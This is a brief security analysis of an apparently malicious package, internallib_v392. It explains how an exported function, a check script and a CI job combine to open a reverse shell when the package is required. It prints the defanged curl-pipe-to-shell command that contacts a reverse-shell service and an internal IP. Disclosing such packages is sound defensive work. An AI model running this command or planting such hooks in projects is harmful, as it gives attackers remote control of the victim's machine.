internallib_v392@1.0.3

Analysis

The package's index.js exports a command() function that executes a reverse shell via `curl hxxps://reverse-shell[.]sh/10[.]0[.]72[.]234:443|sh` through /bin/bash. The bundled check.js requires the package and invokes command(), and the included .gitlab-ci.yml runs `node check.js`, so requiring the package establishes a reverse shell to 10[.]0[.]72[.]234:443 via the reverse-shell.sh service.